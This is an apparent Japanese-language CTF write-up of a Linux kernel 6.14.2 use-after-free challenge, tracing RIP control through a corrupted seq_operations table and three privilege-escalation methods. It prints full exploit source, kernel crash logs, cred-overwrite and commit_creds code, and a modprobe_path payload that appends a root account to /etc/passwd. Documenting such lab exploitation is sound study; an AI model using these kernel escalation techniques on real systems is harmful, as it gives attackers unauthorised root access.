How to find what ring a process is running on in Linux? - Unix & Linux Stack Exchangeによると、csレジスタの値 & 3が現在実行中のringを表すそうです。上記gdb確認時ではp ($cs & 3)コマンド結果が0であるため、カーネル権限であるring-0で実行中らしいことが分かります。

seq_operations構造体の4メンバー全部を改ざんしているからか、escalate_privilege関数は2回呼び出されます。その後、正常にmain関数へ戻り、./exploitプロセスが終了します。あとはescalate_privilege関数中で、権限昇格する処理を実装できればゴールです。

おまけ: カーネルクラッシュ時のログ出力を豊富にするためloglevelを1以上にしよう

seq_operationsの関数ポインター4個全部を0xAAAAAAAAAAAAAAAAなアドレスに書き換えると、non-canonicalなアドレスを実行しようとするためカーネルクラッシュします。その際、QEMU中マシン起動時の-apend引数内容にloglevel=0があると、カーネルクラッシュ時に何も表示されません。gdbでカーネルデバッグしていても[Inferior 1 (process 1) exited normally]と表示されるだけです。

一方でloglevel=1に変更してQEMU中マシン起動すると、次のようにカーネルクラッシュ時にログ出力として各種レジスタ内容が表示されます:

~ $ /tmp/exploit
escalate_privilege = 0x4012f9
vuln 12288 0 - Live 0xffffffffc0000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。

readします。このときにUAFによるRIP制御が発動するはずです。
Oops: general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 UID: 1000 PID: 66 Comm: exploit Tainted: G           O       6.14.2 #1
Tainted: [O]=OOT_MODULE
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at 0x4141414141414117.
RSP: 0018:ffffc9000015fd60 EFLAGS: 00000246
RAX: 4141414141414141 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000001000 RSI: ffff888002ef9028 RDI: ffff888002ef9000
RBP: ffffc9000015fdb8 R08: 0000000000000100 R09: 0000000000000000
R10: ffffffff813613a3 R11: 0000000000000000 R12: ffffc9000015fe00
R13: ffffc9000015fdd8 R14: ffffc9000015fee0 R15: ffff888002ef9000
FS:  0000000000408758(0000) GS:ffff888003a00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 4141414141414141 CR3: 0000000002f38000 CR4: 00000000000006f0
Call Trace:
 <TASK>
 ? seq_read_iter+0xe6/0x460
 ? do_iter_readv_writev+0x136/0x240
 seq_read+0x11d/0x150
 vfs_read+0xde/0x370
 ksys_read+0x71/0xf0
 __x64_sys_read+0x18/0x20
 x64_sys_call+0x1f1c/0x1f80
 do_syscall_64+0x54/0x110
 entry_SYSCALL_64_after_hwframe+0x76/0x7e
RIP: 0033:0x404304
Code: 07 48 89 47 08 48 29 d1 48 01 d7 eb df f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> f3 0f 1e fa e9 d9 ff ff ff f3 0f 1e fa 89 f8 c3 f3 0f 1e fa 48
RSP: 002b:00007ffffe45cea8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007ffffe45cf08 RCX: 0000000000404304
RDX: 0000000000000100 RSI: 00007ffffe45cf08 RDI: 0000000000000004
RBP: 0000000000000004 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffffe45ced8
R13: 00007ffffe45d078 R14: 0000000000000000 R15: 0000000000000000
 </TASK>
Modules linked in: vuln(O)
---[ end trace 0000000000000000 ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at 0x4141414141414117.
RSP: 0018:ffffc9000015fd60 EFLAGS: 00000246
RAX: 4141414141414141 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000001000 RSI: ffff888002ef9028 RDI: ffff888002ef9000
RBP: ffffc9000015fdb8 R08: 0000000000000100 R09: 0000000000000000
R10: ffffffff813613a3 R11: 0000000000000000 R12: ffffc9000015fe00
R13: ffffc9000015fdd8 R14: ffffc9000015fee0 R15: ffff888002ef9000
FS:  0000000000408758(0000) GS:ffff888003a00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 4141414141414141 CR3: 0000000002f38000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled

今回の場合はRIP内容が、0xAAAAAAAAAAAAAAAAに対応する0x4141414141414141に変更できていることが分かります。そのためloglevel内容は1以上に設定するのが良さそうです。(当該オプションの意味をQEMUドキュメントから探しましたが、見つけられませんでした……。)

Holstein v1: Stack Overflowの悪用 | PAWNYABLE!ROP chainがなぜか動かないけどデバッグするのが面倒な場合箇所に記述されているように、正しくRIPを制御できているか確認する場合にクラッシュするRIPへ変更してログ出力させると、gdbでのカーネルデバッグ無しで動作検証できて便利そうです。

権限昇格エクスプロイト作成試行

ここからは、escalate_privilege関数をどのように実装して権限昇格するかを試行錯誤した形跡を記述します。コンテスト中に3手法を試して、1手法で成功しました。本記事執筆後に、最終的に3手法すべてで成功しました。それぞれの手法を記述します。

成功: commit_creds(&init_cred)またはcommit_creds(prepare_kernel_cred(&init_task))

CakeCTF 2022のwelkerme問題と同様の手法です。ただし当時はcommit_creds(prepare_kernel_cred(NULL))で権限昇格できました。しかしHolstein v1: Stack Overflowの悪用 | PAWNYABLE!Linuxカーネル6.2からはprepare_kernel_credにNULLが渡せなくなりました。init_credはまだ存在するので、commit_creds(&init_cred)を実行すれば同じことが可能です。との記述がある通り、本問題のLinuxカーネルバージョン6.14.2ではprepare_kernel_cred(NULL)ができなくなっています。もっというとprepare_kernel_credの実装が、引数がNULLならreturn NULLするだけになっています: cred.c - kernel/cred.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

そのため本手法を使うにはinit_credグローバル変数のアドレスも特定する必要があります。なおKASLRは無効であるため、カーネル側の各種関数や変数のアドレスは固定です。

commit_creds等の関数の場合は、grep prepare_kernel_cred /proc/kallsymsでアドレスを確認できました(KADRに注意してください):

~ # grep prepare_kernel_cred /proc/kallsyms
ffffffff812a11e0 T __pfx_prepare_kernel_cred
ffffffff812a11f0 T prepare_kernel_cred
~ # grep commit_creds /proc/kallsyms
ffffffff812a1040 T __pfx_commit_creds
ffffffff812a1050 T commit_creds
~ #

しかしinit_cred等の変数の場合は、/proc/kallsymsファイルからの取得に失敗しました:

~ # grep init_cred /proc/kallsyms
~ #

init_cred変数の定義場所そのものはグローバルですが、どういうわけか/proc/kallsymsに含まれないようです: cred.c - kernel/cred.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

init_credグローバル変数のアドレス取得方法をGoogle検索しまくっても、カーネルヒープ中をメモリ探索して見つける方法のみが見つかりました。カーネルヒープのアドレスが分かっていなかったため他の方法を試していました。

IDAでvmlinuxファイルを解析して色々調べていると、prepare_kernel_cred関数の呼び出し元2箇所のうちrequest_firmware関数側で、グローバル変数init_task(アドレス0xFFFFFFFF81E0C480)を引数に呼び出していました:

なおソースコード上では、request_firmware関数が呼び出す先の_request_firmware関数が、prepare_kernel_cred(&init_task)を実行します: main.c - drivers/base/firmware_loader/main.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

試しにエクスプロイトコードでcommit_creds(prepare_kernel_cred(&init_task))を試すと、権限昇格に成功しました!

なおコンテスト終了後、作問者様による次の書き込みを見つけました:

vmlinuxファイルのシンボル情報として、init_credグローバル変数のアドレスも含まれており、readelfコマンドで抽出できるようです!

2025/05/08 04時頃追記: 実際、nmコマンドやreadelfコマンドを使って抽出できました:

$ nm -n vmlinux | grep -e ' prepare_kernel_cred' -e ' commit_creds' -e ' init_task' -e ' init_cred'
ffffffff812a1050 T commit_creds
ffffffff812a11f0 T prepare_kernel_cred
ffffffff81e0c480 D init_task
ffffffff81e3bfa0 D init_cred
$ readelf --wide --symbols vmlinux | grep -e ' prepare_kernel_cred' -e ' commit_creds' -e ' init_task' -e ' init_cred'
   160: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS init_task.c
 86275: ffffffff81e3bfa0   136 OBJECT  GLOBAL DEFAULT   12 init_cred
 98381: ffffffff81e0c480  6720 OBJECT  GLOBAL DEFAULT   12 init_task
 98678: ffffffff812a1050   391 FUNC    GLOBAL DEFAULT    1 commit_creds
 99101: ffffffff812a11f0   301 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
$

その他本記事記述中に気付いたこととして、IDAのメニューからView → Open subviews → Names項目で表示されるNamesタブを見れば、init_credグローバル変数が普通に出てきます!アドレスが0xFFFFFFFF81E3BFA0と分かります!

こちらを使ってcommit_creds(&init_cred)でも権限昇格できます。最終的なソルバーは後述します。ソルバーからescalate_privilege関数を抜粋すると次の内容です:

void* escalate_privilege(void)
{
    // 「grep prepare_kernel_cred /proc/kallsyms」等で確認
    auto prepare_kernel_cred = (void *(*)(void *))0xffffffff812a11f0;
    auto commit_creds = (int (*)(void *))0xffffffff812a1050;

    // readelfコマンド等で確認
    auto init_task = (void *)0xFFFFFFFF81E0C480;
    auto init_cred = (void *)0xFFFFFFFF81E3BFA0;

    // どちらでも権限昇格できます
    if (true)
        commit_creds(prepare_kernel_cred(init_task));
    else
        commit_creds(init_cred);
    return 0;
}

成功: 自プロセス用のcred構造体中のユーザーID改ざん

プロセスとtask_struct構造体によるとLinux のプロセスは、task_struct 構造体というデータ構造で表現されているとのことです。task_struct構造体は多くのメンバーを持っており、その中にconst struct cred __rcu *cred;メンバーを含みます: sched.h - include/linux/sched.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

cred構造体は各種ユーザーIDやグループIDを保持しています: cred.h - include/linux/cred.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

Holstein v2: Heap Overflowの悪用 | PAWNYABLE!最近のバージョンではcurrent_taskはグローバルな変数としては廃止され、代わりにCPUごとの空間に保存されており、gsレジスタを使ってアクセスするようになっていますとの記述があります。そのため、gsレジスタ経由で現在プロセスのtaskを取得して、taskからcredを取り出し、cred中の実行IDを0に改ざんできれば、自プロセスをrootユーザーへ権限昇格できそうです。

ただ、どのようにgsレジスタから現在プロセスのタスクを取得するかが分かりませんでした。そもそもコンテスト中は間違って「gsレジスタからcred構造体を直接取れる」と誤解しており、取得結果がcred構造体とは全く別物だったので諦めていました(実際はtask_struct構造体が取れます)。

IDAでvmlinuxファイルを解析して、prepare_kernel_credの呼び出し元2箇所のうちcall_usermodehelper_exec_async側を調べると次の内容でした:

  current = (task_struct_21 *)__readgsqword(0x21280u);
  raw_spin_lock_irq(&current->sighand->siglock.rlock);
  flush_signal_handlers(current, 1);
  raw_spin_unlock_irq(&current->sighand->siglock.rlock);
  current->fs->umask = 18;
  set_user_nice((task_struct_19 *)current, 0);
  v3 = prepare_kernel_cred((task_struct *)current);
  // 後略

どうやら__readgsqword(0x21280u)で、task_struct構造体のアドレスを取得できるようです。

なおソースコード上ではcurrentマクロでtask_struct構造体のアドレスを取得しています: umh.c - kernel/umh.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

currentマクロの実装はCPUアーキテクチャにより異なります。ただx64での実装を調べましたがよく分かりませんでした。そもそもcurrent.h - arch/x86/include/asm/current.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer内容のarch/x86/側でいいのかもよく分かりません。

ともかく、次は自作エクスプロイトで__readgsqword(0x21280u)相当の処理を実行して、現在プロセスのtask_structを本当に得られるかを実験したいです。別コンパイラのVC++では__readgsword compiler intrinsicが存在するので、gccでも同様のものがあることを期待しました。しかしgccが持つCompiler Intrinsicsは、どうやらx86 Built-in Functions (Using the GNU Compiler Collection (GCC))ページ記載の、CPU情報取得や浮動小数点関連、SIMD関連のようです。そのためgccのインラインアセンブラへ手を出しました(未だにgccの拡張アセンブラ構文が全く分かっていません……調べまくって書きました)。

まずは次の実装で、__readgsqword(0x21280u)相当での取得内容を確認しました:

void* get_current_task()
{
    void* task;
    __asm__ volatile("mov %%gs:0x21280,%0"
                     :"=r"(task)
                    );
    return task;
}

void* escalate_privilege(void)
{
    auto task = get_current_task();
    return task;
}

Holstein v2: Heap Overflowの悪用 | PAWNYABLE!で、task_struct構造体中からcredメンバーを探す際のテクニックとして、少し後に存在して現在プロセス名を保持するcommメンバーを探す方法が紹介されています。今回は、pwndbgのtelescopeコマンドで雑にメモリダンプして、実行ELF名exploitが存在するか探しました:

pwndbg> # get_current_task() からreturnした後の状況です
pwndbg> p/x $rax
$1 = 0xffff888002e5b100
pwndbg> telescope $rax 1000
00:0000│ rax 0xffff888002e5b100 ◂— 0
略
b6:05b0│     0xffff888002e5b6b0 ◂— 0
b7:05b8│     0xffff888002e5b6b8 ◂— 0
b8:05c0│     0xffff888002e5b6c0 —▸ 0xffff888002eb6780 ◂— 4
b9:05c8│     0xffff888002e5b6c8 —▸ 0xffff888002eb6780 ◂— 4
ba:05d0│     0xffff888002e5b6d0 ◂— 0x74696f6c707865 /* 'exploit' */
略

どうやら、offset 0x05d0task_struct::commメンバーが存在するようです。複数回実行して、すべて同一オフセットに存在するらしいことを確認しました。どうやら今回のLinuxカーネルバージョンでは__readgsqword(0x21280u)で現在プロセスのtask_structを取得できるようです!また、そうなるとtask_struct::credメンバーは、task_struct::commから0x10引いたアドレスに存在するはずです。

cred構造体は、先頭メンバーがatomic_long_t usageです。typedefを追跡すると、当該型が8バイトと分かりました: atomic64_32.h - arch/x86/include/asm/atomic64_32.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

cred構造体でusageメンバー以降に続くメンバーが、肝心のユーザーIDやグループIDです。それらに使われているtypedefを追跡すると、どちらも4バイト型と分かりました: uidgid_types.h - include/linux/uidgid_types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

そのため、cred構造体の、3種類のユーザーIDとグループIDを改ざんするには、先頭から[8, 32)バイト目を書き換えれば良さそうです: cred.h - include/linux/cred.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

上記の方針で実装した次のコードでも権限昇格に成功しました:

void* get_current_task()
{
    void* task;
    __asm__ volatile("mov %%gs:0x21280,%0"
                     :"=r"(task)
                    );
    return task;
}

void* escalate_privilege(void)
{
    auto task = get_current_task();

    // どうやら offset 0x05d0 が「char comm[TASK_COMM_LEN];」メンバーの模様
    // そこから offset -0x10 の位置にcredメンバーがある
    auto comm = (char*)task + 0x05d0;
    if (strcmp(comm, "exploit") == 0)
    {
        auto cred = *(unsigned long**)(comm - 0x10); // task_struct::credを間接参照
        cred[1] = 0; // cred::uid, cred::gidを改ざん
        cred[2] = 0; // cred::suid, cred::sgidを改ざん
        cred[3] = 0; // cred::euid, cred::egidを改ざん
        return 0;
    }

    // 何かが間違っている。NULL参照でカーネルクラッシュさせてデバッグ。
    *(int*)(nullptr) = 0;
    return 0;
}

2025/05/08 04時頃追記: gdbデバッグ中に前述したadd-symbol-filevmlinuxのシンボル情報を読み込ませておけば、ptypeコマンドで構造体定義が分かって便利です!例えばcred構造体の場合です(typedefされていない型の場合はstruct等のキーワードも併用必須です):

(gdb) add-symbol-file vmlinux 0xffffffff81000000
add symbol table from file "vmlinux" at
        .text_addr = 0xffffffff81000000
(y or n) y
Reading symbols from vmlinux...
(gdb) ptype/ox struct cred
/* offset      |    size */  type = struct cred {
/* 0x0000      |  0x0008 */    atomic_long_t usage;
/* 0x0008      |  0x0004 */    kuid_t uid;
/* 0x000c      |  0x0004 */    kgid_t gid;
/* 0x0010      |  0x0004 */    kuid_t suid;
/* 0x0014      |  0x0004 */    kgid_t sgid;
/* 0x0018      |  0x0004 */    kuid_t euid;
/* 0x001c      |  0x0004 */    kgid_t egid;
/* 0x0020      |  0x0004 */    kuid_t fsuid;
/* 0x0024      |  0x0004 */    kgid_t fsgid;
/* 0x0028      |  0x0004 */    unsigned int securebits;
/* XXX  4-byte hole      */
/* 0x0030      |  0x0008 */    kernel_cap_t cap_inheritable;
/* 0x0038      |  0x0008 */    kernel_cap_t cap_permitted;
/* 0x0040      |  0x0008 */    kernel_cap_t cap_effective;
/* 0x0048      |  0x0008 */    kernel_cap_t cap_bset;
/* 0x0050      |  0x0008 */    kernel_cap_t cap_ambient;
/* 0x0058      |  0x0008 */    struct user_struct *user;
/* 0x0060      |  0x0008 */    struct user_namespace *user_ns;
/* 0x0068      |  0x0008 */    struct ucounts *ucounts;
/* 0x0070      |  0x0008 */    struct group_info *group_info;
/* 0x0078      |  0x0010 */    union {
/*                0x0004 */        int non_rcu;
/*                0x0010 */        struct callback_head {
/* 0x0078      |  0x0008 */            struct callback_head *next;
/* 0x0080      |  0x0008 */            void (*func)(struct callback_head *);

                                       /* total size (bytes):   16 */
                                   } rcu;

                                   /* total size (bytes):   16 */
                               };

                               /* total size (bytes):  136 */
                             }
(gdb)

/oオプションを付与しているため、先頭からの累計オフセットや、各種メンバーのサイズが表示されます。/xを付与しているので16進数表示です。今回のcred構造体のどのoffsetを上書きするべきかが一目でわかります!

なおtask_structのように、flexible array member含む場合は、実に残念ながらオフセットやサイズが全く表示されません:

(gdb) ptype/ox struct task_struct
warning: ptype/o does not work with dynamic types; disabling '/o'
type = struct task_struct {
    struct thread_info thread_info;
    中略
    struct thread_struct thread;
}
(gdb)

理由は、task_structの最後のメンバーがchar member[]形式のincomplete array typeであるためです:

  1. task_struct構造体の最後のメンバーはstruct thread_struct thread;です(コメントにWARNING: on x86, 'thread_struct' contains a variable-sized (改行) structure.とあります): sched.h - include/linux/sched.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
  2. x86アーキテクチャの場合、thread_struct構造体の最後のメンバーはstruct fpu fpu;です(コメントでもWARNING: 'fpu' is dynamically-sizedとあります): processor.h - arch/x86/include/asm/processor.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
  3. x86アーキテクチャの場合、fpu構造体の最後のメンバーはstruct fpstate __fpstate;です(コメントでもWARNING: '__fpstate' is dynamically-sized.とあります): types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
  4. x86アーキテクチャの場合、fpstate構造体の最後のメンバーはunion fpregs_state regs;です: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
  5. fpregs_state共用体のメンバーの1つがstruct xregs_state xsave;です: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
  6. xregs_state構造体の最後のメンバーがu8 extended_state_area[];であり、incomplete array typeです: types.h - arch/x86/include/asm/fpu/types.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

たとえ構造体がincomplete array typeを含んでいても、途中のメンバーまでだけでもoffsetを表示する方法があれば便利そうです……。

最終的に成功: modprobe_pathグローバル変数書き換え(Linuxカーネルのバージョン6.14からは従来手法が使えませんが、AF_ALGソケット作成で実行成功)

Holstein v2: Heap Overflowの悪用 | PAWNYABLE!で、modprobe_pathグローバル変数書き換えによる権限昇格手法が紹介されています。コンテスト中に試しました:

void* escalate_privilege(void)
{
    // import pwn
    // for addr in pwn.ELF("./vmlinux", checksec=False).search(b"/sbin/modprobe\0"):
    //     print(hex(addr))
    // →1つだけ。
    // IDAで`modprobe_path`をNamesタブから検索しても同一アドレスであることを確認
    auto modprobe_path = (char*)0xffffffff81eaeac0;
    char src[] = "/tmp/evil.sh";
    for (size_t i = 0; i < sizeof(src); ++i)
    {
        modprobe_path[i] = src[i];
    }

    // エクスプロイト実行後に「cat /proc/sys/kernel/modprobe」して、変化していることを確認
    return 0;
}

ただしエクスプロイト実行で/proc/sys/kernel/modprobe内容が変化していることは観測できましたが、どうにも当該ファイルへ記述したファイルが実行されないようでした:

~ $ /tmp/exploit
Compiled time: May  6 2025 23:40:57
escalate_privilege = 0x401329
vuln 12288 0 - Live 0xffffffffc0000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。

readします。このときにUAFによるRIP制御が発動するはずです。
closeします。後は正常のはずです。
exploit終了です。
~ $ cat /proc/sys/kernel/modprobe
/tmp/evil.sh
~ $ echo -e '#!/bin/sh\nchmod -R 777 /dev' > /tmp/evil.sh
~ $ chmod +x /tmp/evil.sh
~ $ echo -e 'NO_SUCH_AS' > /tmp/pwn
~ $ chmod +x /tmp/pwn
~ $ /tmp/pwn
/tmp/pwn: line 1: NO_SUCH_AS: not found
~ $ ls -AlF /dev/sdb
brw-------    1 root     root        8,  16 May  6 14:56 /dev/sdb
~ $

sec4b-2023 の driver4b で Linux のカーネルエクスプロイトに入門してみる - かえるのひみつきちによると、CONFIG_STATIC_USERMODEHELPERコンフィグの設定によってはmodprobe_pathグローバル変数が使われるとのことです。call_modprobe関数では、modprobe_pathグローバル変数を第1引数に、call_usermodehelper_setup関数を呼び出します。call_usermodehelper_setup関数中では、CONFIG_STATIC_USERMODEHELPERマクロが定義されている場合は第1引数のpath変数(=modprobe_pathグローバル変数)を使わず、固定のCONFIG_STATIC_USERMODEHELPER_PATHマクロ内容を使用するためのようです: umh.c - kernel/umh.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

今回の配布ファイルの.configを見ると、# CONFIG_STATIC_USERMODEHELPER is not setとのコメント記述がありました。どうやら未指定のようで初期値が使われるようです。CONFIG_STATIC_USERMODEHELPERの初期値を調べると、Kconfig hardening tests · BlackIkeEagle's blogThe tool also suggests CONFIG_STATIC_USERMODEHELPER=y but we don’t have a usermode helper so we’re leaving this out.との記述がありました。この記述ぶりからすると、どうやらCONFIG_STATIC_USERMODEHELPERの初期値はnのようです。そうなるとmodprobe_pathグローバル変数内容が使われるはずで、なぜ実行できないのか……?

2025/05/08 04時頃追記: 本記事公開後、上記手法が使えなくなっている理由を作問者様からご指摘いただきました!以下の理由によります:

2025/05/13 00頃追記編集: 05/08時更新では「AF_ALGsocket作成が失敗するためbind関数を呼び出せず、そのためmodprobe_pathグローバル変数内容の実行も不可」という内容を記述していました。しかし作問者様から、bind関数まで実行する必要はなくsocket作成時点でmodprobe_pathグローバル変数内容が実行されることを改めてご指摘いただきました!

  • __sock_create関数で、#ifdef CONFIG_MODULESプリプロセッサ分岐があります: socket.c - net/socket.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer
    • 今回の問題の場合は、配布ファイルの.configCONFIG_MODULES=yと有効設定にしています!
  • 当該プリプロセッサ分岐内で、if (rcu_access_pointer(net_families[family]) == NULL)の場合の分岐にrequest_moduleマクロを実行しています!
    • どうやらnet_families[family]が未設定の場合に該当するようです。少なくともAF_ALG種類のソケット作成時にはrequest_moduleマクロを実行する分岐に入ります。
      • もしかしたら他の種類のソケット作成でも同様に実行できるかもしれません。
  • 後は従来手法同様に、request_moduleマクロ→__request_module関数→call_modprobe関数の順に呼びだされ、call_modprobe関数中でmodprobe_pathグローバル変数を第1引数としてcall_usermodehelper_setup関数を呼び出します: kmod.c - kernel/module/kmod.c - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

なお、本問題の環境で試すと、socket(AF_ALG, SOCK_SEQPACKET, 0)関数呼び出しでのソケット作成そのものは失敗しました(errnoEAFNOSUPPORT(=97), Address family not supported by protocolエラー)。次の要因によりそうです:

一方で上述の通りAF_ALGソケット作成途中でrequest_moduleマクロが実行され、その過程でmodprobe_pathグローバル変数で指定したファイルが実行されます。そのため最終的にソケット作成に失敗しても、差支えありません!

ただし注意点として、どうやらmodprobe_pathグローバル変数で指定したファイルが実行されるとき、標準入出力が紐づいていない状況(/dev/null?)のようです。そのためその段階でフラグ出力やシェル起動はできません。権限変更やファイル書き込み等を行って、後で権限昇格等を行う必要があります。

最終的に成功したコード等を示します。まず、ビルド手順をgccによるコンパイルとmusl-gccによるリンクの2段階へ分割します:

具体的にはbuild.shを次の内容に変更しました:

#!/bin/bash

set -eux

cd "$(dirname "$0")"

# https://pawnyable.cafe/linux-kernel/introduction/compile-and-transfer.html#%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%83%9E%E3%82%B7%E3%83%B3%E3%81%A7%E3%81%AE%E5%AE%9F%E8%A1%8C%EF%BC%9Amusl-gcc%E3%81%AE%E5%88%A9%E7%94%A8
# #include <linux/if_alg.h> がmusl-gccでは見つからない扱いとなるので、コンパイルとアセンブルを分ける
# https://stackoverflow.com/questions/12201625/disable-using-sprintf-chk/12203365#12203365
# gccがprintfを__printf_chkに変換してしまってmusl-gccでリンクエラーになるのを防ぐため -D_FORTIFY_SOURCE=0 が必要
gcc -g -Os -Wall -Wextra -D_FORTIFY_SOURCE=0 -S -o exploit.S exploit.cpp
musl-gcc -g -Os -static -o exploit exploit.S
strip exploit

# マウントしているファイルシステム中へコピー
sudo mount ../rootfs.ext3 ../root
cp exploit ../root/tmp/
sudo umount ../root

次のエクスプロイトコードを書きました:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_alg.h> // sockaddr_alg用。musl-gccだとヘッダーがありません。そのため「gccでコンパイル」「musl-gccでアセンブルやリンク」に分割します。
#include <tuple>

#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002

#define OBJ_SIZE 0x20

// system関数用に文字列結合したいので文字列リテラルを#define
#define MODIFIED_MODPROBE_PATH "/tmp/evil.sh"

// main先頭でアドレスを出力します
void* escalate_privilege(void)
{
    // nm vmlinux | grep modprobe_path
    auto modprobe_path = (char*)0xffffffff81eaeac0;
    constexpr char modified_modprobe_path[] = MODIFIED_MODPROBE_PATH;
    for (size_t i = 0; i < sizeof(modified_modprobe_path); ++i)
    {
        modprobe_path[i] = modified_modprobe_path[i];
    }

    // エクスプロイト実行後に「cat /proc/sys/kernel/modprobe」して、変化していることを確認
    return 0;
}

typedef struct request_t
{
    size_t size;
    char *data;
} request_t;
static_assert(sizeof(request_t) == 0x10);

int main()
{
    printf("Compiled time: %s %s\n", __DATE__, __TIME__);
    printf("escalate_privilege = %p\n", &escalate_privilege);
    std::ignore = system("cat /proc/modules");

    int fd_vuln = open("/dev/vuln", O_RDWR);
    if (fd_vuln == -1)
    {
        perror("Failed to open /dev/vuln");
        return 1;
    }

    void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege};
    static_assert(sizeof(fake_seq_operations) == OBJ_SIZE);

    request_t req = {
        .size = sizeof(fake_seq_operations),
        .data = (char *)fake_seq_operations,
    };

    // マシン起動から最初のCMD_Allocのみが成功する。
    if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1)
    {
        perror("ioctl for CMD_ALLOC");
        puts("カーネル起動から最初のCMD_ALLOCのみ成功します。");
        exit(1);
    }

    if (ioctl(fd_vuln, CMD_FREE, &req) == -1)
    {
        perror("ioctl for CMD_FREE");
        exit(1);
    }

    // 同一サイズのseq_operations構造体をUAFで上書き
    // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations
    int fd_stat = open("/proc/self/stat", O_RDONLY);
    if (fd_vuln == -1)
    {
        perror("Failed to open /proc/self/stat");
        return 1;
    }

    puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。");
    getchar();

    if (ioctl(fd_vuln, CMD_WRITE, &req) == -1)
    {
        perror("ioctl for CMD_WRITE");
        exit(1);
    }

    puts("readします。このときにUAF Write結果によるカーネル権限任意コード実行が発動するはずです。");
    char buffer_stat[256] = {};
    std::ignore = read(fd_stat, buffer_stat, sizeof(buffer_stat));
    puts("closeします。");
    close(fd_stat);

    // modprobe_path書き換え確認
    std::ignore = system("cat /proc/sys/kernel/modprobe");

    // 書き換えたmodprobe_pathが指すファイルを準備
    // どうやらmodprobe_path経由で実行されるバイナリは、標準入出力が紐づいていない模様
    // 例えば `cat /dev/sdb` を直接実行してもどこにも表示されない。同様に、新規にシェルを起動しても標準入出力と紐づいておらず即終了する模様。
    // そのため、modprobe_pathが指すファイルではchmodでの権限変更やechoでのファイル追加などの準備だけしておいて、実際のファイル読み込みや権限昇格は後で行う必要がある。
    // C++のraw-string literalで楽をする。おそらくソースコードの改行コードがLFである必要がある。CR+LFだとおそらく各種コマンド内容にCRがそのまま引っ付いてくる。
    std::ignore = system("cat << 'EOF_OUTER' > " MODIFIED_MODPROBE_PATH R"(
#!/bin/sh
# ここではchmodだけして、後でcatする。ここでcatしても表示されない模様。
chmod 777 /dev/sdb
# パスワード部分は `openssl passwd -1 w00t` で生成
cat << 'EOF_INNER' >> /etc/passwd
w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh
EOF_INNER
EOF_OUTER
)");
    // 実行可能にするのが重要(忘れてN敗)
    std::ignore = system("chmod +x " MODIFIED_MODPROBE_PATH);

    // あとはrequest_moduleを呼び出させる
    [[maybe_unused]]auto fd_alg = socket(AF_ALG, SOCK_SEQPACKET, 0);

    puts("modprobe_pathへ書き込んだファイルが実行されたはずです。");
    std::ignore = system("cat /dev/sdb");

    return 0; // 完了しました。ここより下は試行錯誤の痕跡で、実際は不要なものです。

#if false
    // 以下、てっきりmodprobe_path実行にはbindまで必要と思ってた名残。実際はsocket作成で十分でした。
    if (fd_alg < 0)
    {
        printf("error: %d\n", errno); // 97, EAFNOSUPPORT
        perror("Failed to socket"); // "Address family not supported by protocol"
        return 1;
    }

    sockaddr_alg sa{};
    sa.salg_family = AF_ALG;
    strcpy((char*)sa.salg_type, "NO_SUCH_AS");
    std::ignore = bind(fd_alg, (sockaddr*)&sa, sizeof(sa)); // modprobe_path実行にはbindが必要だと誤解していました(実際はsocket作成だけで良かった)
#endif
}

実行例です:

~ $ /tmp/exploit
Compiled time: May 12 2025 22:39:47
escalate_privilege = 0x401359
